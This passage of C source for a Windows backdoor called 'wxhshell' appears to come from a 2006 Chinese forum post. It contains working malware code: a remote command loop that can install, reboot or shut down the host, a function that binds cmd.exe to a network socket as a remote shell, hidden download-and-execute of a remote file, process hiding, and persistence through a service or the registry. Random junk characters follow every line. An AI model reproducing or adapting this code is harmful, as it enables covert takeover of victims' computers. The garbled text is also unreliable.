  case '?': { @\UoZv(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >)IXc<"wq  
    break; 7berkU0P  
  } 5h4E>LB.B  
  // 安装 %Fg}"=f1  
  case 'i': { VF<C#I  
    if(Install()) 6(X5n5C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >.-$?2  
    else X;?Z_3I:5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7JNy;$]/  
    break; 2m?!!We q  
    } 2iM8V  
  // 卸载 n_Ka+Y<  
  case 'r': { ?9 8]\pI  
    if(Uninstall()) Dxwv\+7]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0y3<Ho,+$  
    else !tNJLOYf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fc"&lk4e  
    break; 7q] @Jx9  
    } k9^Vw+$m  
  // 显示 wxhshell 所在路径 #Rkldv'  
  case 'p': { ) -C9W7?I  
    char svExeFile[MAX_PATH]; XI*_ti  
    strcpy(svExeFile,"\n\r"); C;jV{sb9c  
      strcat(svExeFile,ExeFile); Q#i^<WUpg  
        send(wsh,svExeFile,strlen(svExeFile),0); _x.D< n=X  
    break; g}-Ch#  
    } P"g Y|}|  
  // 重启 CY4_=  
  case 'b': { |=frsf~?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -*K!JC-  
    if(Boot(REBOOT)) `>q|_w \e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B~u_zZE  
    else { DJ9;{,gm  
    closesocket(wsh); N+vU@)_lC  
    ExitThread(0); 0KF)+`CC>  
    } $pT%7jV}  
    break; <}E^r_NvD  
    } IFX|"3[$  
  // 关机 ] _/d  
  case 'd': { #dLp<l)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); / h6(!-"  
    if(Boot(SHUTDOWN)) $J |oVVct  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D k'EKT-  
    else { xmDX1sL**  
    closesocket(wsh); @J~y_J{  
    ExitThread(0); =oF6|\]{ ;  
    } ZHs hg`I`  
    break; Te8BFcJG  
    } id-VoHd K  
  // 获取shell Hr$oT=x[  
  case 's': { LaZF=<w(  
    CmdShell(wsh); k:4?3zJI  
    closesocket(wsh); bmAgB}Ior  
    ExitThread(0); sK:,c5^  
    break; {I |k@  
  } 8j,_  
  // 退出 f/b }X3K  
  case 'x': { -?b@6U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >EMgP1  
    CloseIt(wsh); 1q!JpC^  
    break; f=}Mr8W'  
    } eh'mSf^=p  
  // 离开 /S;o2\  
  case 'q': { xae rMr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a{h(BI^~  
    closesocket(wsh); #^Dc:1,  
    WSACleanup(); SPV'0* Z  
    exit(1); j8os6I  
    break; k~Pm.@,3o  
        }  hh"0z]  
  } Q ;P~'  
  } &,Q{l$`X  
fBH&AO$Q  
  // 提示信息 skcMGEB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x 0  
} bIm$7a`T  
  }  ZW2#'$b  
K74oRKv  
  return; JMOP/]%D  
} 7/vr!tbL`p  
?E2k]y6<  
// shell模块句柄 ^BM/K&7^  
int CmdShell(SOCKET sock) %:o@IRTRU  
{ +^+wS`Y  
STARTUPINFO si; (W/jkm  
ZeroMemory(&si,sizeof(si)); #|XEBOmsQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0iX qAa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U30)r+&  
PROCESS_INFORMATION ProcessInfo; ^TWN_(-@  
char cmdline[]="cmd"; ~rCnST  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n@L!{zY  
  return 0; l7{hq}@;cC  
} +>qBK}`  
"tIf$z  
// 自身启动模式 savz>E &  
int StartFromService(void) :,q3?l6  
{ 5 J|;RtcR  
typedef struct gSj-~k P  
{ CHpDzG>]4  
  DWORD ExitStatus; %,,h )9  
  DWORD PebBaseAddress; t=\V&,  
  DWORD AffinityMask; wH Z!t,g  
  DWORD BasePriority; R~*Y@_oD  
  ULONG UniqueProcessId; r-YQsu&  
  ULONG InheritedFromUniqueProcessId; \N#)e1.0P  
}   PROCESS_BASIC_INFORMATION; xN"KSQpu  
\Di~DN1  
PROCNTQSIP NtQueryInformationProcess; pjj 5  
G^mk<pH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'v|2} T*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $fKwJFr  
L)nVNY@Mc  
  HANDLE             hProcess; GvzPT2E!  
  PROCESS_BASIC_INFORMATION pbi; 8)POEY4  
3 n:<oOV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cHsJQU*K6  
  if(NULL == hInst ) return 0; h/TPd]  
Bh' vr3|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eBAB7r/7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KR^peWR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sf*SxdoZU  
[ !R%yD;  
  if (!NtQueryInformationProcess) return 0; wCt+{Y3T  
4\OELU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ok`U*j  
  if(!hProcess) return 0; )vU{JY;  
_SP u`=~K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^LU[{HZV  
k13/yiv  
  CloseHandle(hProcess); +~fu-%,k  
M.8!BB7\8e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'c$9[|x  
if(hProcess==NULL) return 0; , ;d9uG2  
mTP.W#N  
HMODULE hMod; [d&Faa[`  
char procName[255]; Fcr@Un'  
unsigned long cbNeeded; fd,~Yj$R?  
oM7^h3R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |(P;2q4>  
$GO'L2oLwn  
  CloseHandle(hProcess); ^p7(  
=hs@W)-O  
if(strstr(procName,"services")) return 1; // 以服务启动 PRz oLzr  
%xZ.+Ff%  
  return 0; // 注册表启动 F{"%ey">  
} kN$70N7I;  
H0(zE *c~  
// 主模块 Fp]8f&l8  
int StartWxhshell(LPSTR lpCmdLine) -.*\J|S@g  
{ M<p)@p  
  SOCKET wsl; :9h8q"T  
BOOL val=TRUE; "G,*Z0V5  
  int port=0; %@&)t?/=  
  struct sockaddr_in door; &V:dcJ^Q  
]czy8n$+  
  if(wscfg.ws_autoins) Install(); )[K3p{4  
ibuI/VDF  
port=atoi(lpCmdLine); |"-,C}O  
~Op1NE  
if(port<=0) port=wscfg.ws_port; rka:.#!  
UA8!?r-cR  
  WSADATA data; h@DJ/&;u@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V0AX1?H~w  
*"CvB{XF&Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lhI;K4#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IcoL/7k3  
  door.sin_family = AF_INET; Td  F<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %xfy\of+Nk  
  door.sin_port = htons(port); j&Aq^aI  
`/AzX *`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >eTlew<5  
closesocket(wsl); CbHNb~  
return 1; <M7* N .  
}  j%}Jl  
xKr,XZu  
  if(listen(wsl,2) == INVALID_SOCKET) { `SwnKg  
closesocket(wsl); 0&\Aw'21  
return 1; (>K$gAQH  
} L&N"&\K2U  
  Wxhshell(wsl); qC4-J)8 Wk  
  WSACleanup(); jwq"B$ap  
HxMsH5;  
return 0; [dJ\|=  
4r. W:}4:  
} ;9PM?Iy[  
$;CC lzw  
// 以NT服务方式启动 kUUq9me&o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #~x5}8  
{  * [5  
DWORD   status = 0; tAA7  
  DWORD   specificError = 0xfffffff;  5q ,  
cMl%)j-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ??m7xH5u1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |u{QI3#'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +mA=%? l  
  serviceStatus.dwWin32ExitCode     = 0; 4B]61|A  
  serviceStatus.dwServiceSpecificExitCode = 0; 6\3k0z  
  serviceStatus.dwCheckPoint       = 0; [KH?5 C  
  serviceStatus.dwWaitHint       = 0; DOerSh_0W  
zFtGc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OVyy}1Hx  
  if (hServiceStatusHandle==0) return; 88>Uu!M=f  
Z~(XyaN  
status = GetLastError(); RNdnlD#P  
  if (status!=NO_ERROR) y2R=%EFh6  
{ re!8nuBsA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #FB>}:L{h*  
    serviceStatus.dwCheckPoint       = 0; [!&k?.*;<  
    serviceStatus.dwWaitHint       = 0; A,{D9-%  
    serviceStatus.dwWin32ExitCode     = status; xiF%\#N  
    serviceStatus.dwServiceSpecificExitCode = specificError; M: "ci;*$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rl%Kn^JJ~  
    return; 9>R|k$`  
  } 6EU4  
\vsrBM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C.E> )  
  serviceStatus.dwCheckPoint       = 0; f4S@lyYF  
  serviceStatus.dwWaitHint       = 0; nEm7&Gb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :*@|"4  
} *$(CiyF!  
@(c<av?  
// 处理NT服务事件,比如:启动、停止 @S7=6RKa[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H040-Q;S'  
{ =BS'oBn^6  
switch(fdwControl) XQOprIJ U  
{ HiG/(<bs9O  
case SERVICE_CONTROL_STOP: zt2-w/[Q  
  serviceStatus.dwWin32ExitCode = 0; g&T Cff  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C[nr>   
  serviceStatus.dwCheckPoint   = 0; ? SP7vQ/  
  serviceStatus.dwWaitHint     = 0; 9Nu#&_2R  
  { ~{YgM/c|dt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xD# I&.  
  } o'7ju~0L  
  return; #L.}CzAz  
case SERVICE_CONTROL_PAUSE: !2| `aa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kA<r:/  
  break; ?ev G=S4>  
case SERVICE_CONTROL_CONTINUE: 0juIkN#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )m8>w6"  
  break; rp#*uV9;  
case SERVICE_CONTROL_INTERROGATE: X&s\_jQ  
  break; R0mT/h2  
}; &H1D!N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H}V*<mg w  
} $Q?G*@y  
Zfv(\SI  
// 标准应用程序主函数 s66XdM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~cBc&u:"  
{ Z 034wn\N  
jL+}F/~r  
// 获取操作系统版本 'uAC oME@  
OsIsNt=GetOsVer(); hav?mnVJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N#['fg'  
~_db<!a  
  // 从命令行安装 P .4b+9T x  
  if(strpbrk(lpCmdLine,"iI")) Install(); }r~l7 2 `  
'Y{ux>  
  // 下载执行文件 wT~;tOw~  
if(wscfg.ws_downexe) { ,DuZMGg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^P g YP  
  WinExec(wscfg.ws_filenam,SW_HIDE); [RFK-E  
} G\N"rG=  
7]xz8t  
if(!OsIsNt) { @GZa:(  
// 如果时win9x,隐藏进程并且设置为注册表启动 E'S;4B5?  
HideProc(); 8N* -2/P&  
StartWxhshell(lpCmdLine); 5rA!VES T  
} &tz%WW%D8  
else /Np"J  
  if(StartFromService()) b/,!J] W  
  // 以服务方式启动 cvV?V\1f  
  StartServiceCtrlDispatcher(DispatchTable); O;BMwg_7  
else B Ff. Rd95  
  // 普通方式启动 h"1"h.  
  StartWxhshell(lpCmdLine); mz$Wo *FB  
5;MK1l  
return 0; ,cy/fW  
}
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只看该作者 1 发表于: 2006-10-10
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